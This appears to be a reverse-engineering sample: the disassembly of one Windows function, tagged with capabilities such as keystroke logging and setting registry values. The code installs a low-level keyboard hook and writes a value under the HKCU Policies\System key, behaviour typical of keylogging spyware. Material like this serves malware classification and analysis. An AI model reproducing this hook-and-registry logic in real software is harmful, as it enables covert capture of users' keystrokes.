Function at 0x180065490
Capabilities:
Check if file exists
Get common file path
Get file attributes
Log keystrokes via application hook
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7e0]
sub rsp, 0x8e0
imul esi, r8d, 0x4db
mov edi, r8d
mov r15, rdx
mov r12, rcx
mov r14d, r8d
mov dword [rsp + 0x54], esi
cmp r8d, esi
ja 0x18006597e
mov rbx, qword [rbp + 0x840]
xor ecx, ecx
mov r13, qword [rbp + 0x820]
nop dword [rax]
cmp r14d, 0x3de6
ja 0x18006592e
je 0x1800658b0
mov eax, r14d
sub eax, 0x8b
je 0x18006580a
sub eax, 0x28
je 0x18006564f
sub eax, 0x60
je 0x180065629
sub eax, 7
je 0x180065586
cmp eax, 6
jne 0x180065572
mov eax, dword [rbx]
lea r8, [rbp + 0x820]
mov dword [rbp + 0x74c], eax
lea rcx, [rbp + 0x3f0]
mov eax, dword [r9]
mov rdx, r15
xor r9d, r9d
mov dword [rbp + 0x750], eax
mov dword [rbp + 0x820], 0x200
mov dword [rsp + 0x20], 0x157
call fcn.1800108e0
xor ecx, ecx
mov r9, qword [rbp + 0x838]
imul eax, edi, 0x71
add r14d, eax
cmp r14d, esi
jbe 0x1800654f0
jmp 0x18006597e
cmp qword [0x1800ce7a8], 0
mov dword [rsp + 0x50], 1
jne 0x1800655be
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r9d, r9d
lea rdx, [0x18005b010]
mov r8, rax
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x1800ce7a8], rax
mov rdx, qword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
lea r8, [rsp + 0x58]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x1800655f4
mov rdx, qword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem]
lea r8, [rsp + 0x58]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rdx, qword [str.pProjectEngine]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov r9d, 4
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
movsxd r13, eax
jmp 0x180065569
mov rdx, qword [0x1800b60f0]
mov r9, rbx
mov qword [rsp + 0x28], rcx
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x20], 0x13
call fcn.180042900
jmp 0x180065569
mov rax, qword [0x1800b60f8]
xor r9d, r9d
mov dword [rsp + 0x30], 0x114
xor r8d, r8d
mov qword [rsp + 0x28], rax
xor edx, edx
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call fcn.1800480d0
test al, al
je 0x180065800
nop
xor r8d, r8d
mov dl, 0xa
mov rcx, rbx
call fcn.180050150
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180065778
mov edi, 0xcd
nop
mov ecx, edi
sub ecx, 0xcc
je 0x180065a16
cmp ecx, 1
jne 0x18006576a
cmp qword [rbx + 0x10], rsi
mov r8, rsi
mov qword [rsp + 0x70], 0
mov rdx, rbx
cmovb r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
jb 0x1800656e7
mov rdx, qword [rbx]
lea rcx, [rsp + 0x60]
call fcn.18004e1a0
lea rdx, [rsp + 0x60]
mov rcx, r15
call fcn.180004ce0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18006573b
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180065736
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180065a2a
call fcn.18006cae4
mov r8, qword [rbx + 0x10]
lea rax, [rsi + 1]
cmp r8, rax
mov rcx, rbx
cmovb rax, r8
cmp qword [rbx + 0x18], 0x10
jb 0x180065757
mov rcx, qword [rbx]
sub r8, rax
lea rdx, [rcx + rax]
mov qword [rbx + 0x10], r8
inc r8
call fcn.18006e1d0
dec edi
cmp edi, 0xcb
ja 0x1800656a0
mov rax, qword [0x1800b60f8]
lea rcx, [rbp - 0x68]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0xb0
call fcn.180030ee0
movups xmm0, xmmword [rax + 0x10]
movsd xmm1, qword [rax + 0x20]
movups xmm2, xmmword [rax]
movzx eax, word [rax + 0x28]
mov word [rbp - 0x78], ax
movd eax, xmm2
movups xmmword [rsp + 0x70], xmm0
movsd qword [rbp - 0x80], xmm1
test al, al
je 0x180065a20
mov rax, qword [0x1800b60f8]
xor r9d, r9d
mov dword [rsp + 0x30], 0x114
xor r8d, r8d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], 0
call fcn.1800480d0
test al, al
jne 0x180065680
mov edi, dword [rbp + 0x830]
mov esi, dword [rsp + 0x54]
mov byte [r12], 0
jmp 0x180065569
xor edx, edx
lea rcx, [rbp + 0xe0]
mov r8d, 0x104
call fcn.18006e5e0
lea rcx, [rbp - 0x30]
mov edx, 2
lea rax, [rbp + 0xe0]
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x180065830
mov eax, dword [rax]
lea rdx, [rbp - 0x30]
mov dword [rcx], eax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.CloneCurrentValue
mov edx, 0x104
lea rcx, [rbp - 0x30]
call fcn.180071490
jmp 0x180065569
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rbx, rbx
je 0x1800658ea
nop dword [rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800658dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x180065569
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800658c0
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180065569
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x180065569
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x180065900
jmp 0x180065569
cmp r14d, 0x4fb6
je 0x18006597e
cmp r14d, 0x7d94
je 0x180065a05
cmp r14d, 0x8040
je 0x1800659e5
cmp r14d, 0xfa0e
je 0x18006599c
cmp r14d, 0xff60
jne 0x180065572
movaps xmm0, xmmword [rbp + 0x5f0]
mov eax, dword [rbp + 0x600]
movups xmmword [r12], xmm0
mov dword [r12 + 0x10], eax
mov rbx, qword [rsp + 0x928]
mov rax, r12
add rsp, 0x8e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [rbx]
lea r9, [rbp + 0x820]
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x60]
mov dword [rbp + 0x820], r13d
mov dword [rsp + 0x20], 0x28
call fcn.180036ed0
jmp 0x180065569
mov ecx, 0xfffffeb3
lea rdx, [rbp + 0x1f0]
call qword [0x1800ce8f0]
xor ecx, ecx
mov word [0x1800ce8f8], cx
jmp 0x18006556b
test r13, r13
mov rax, rcx
sete al
mov r13, rax
jmp 0x180065572
mov byte [r12], 1
jmp 0x18006597e
mov byte [r12], 0
jmp 0x18006597e
call fcn.180070f14
int3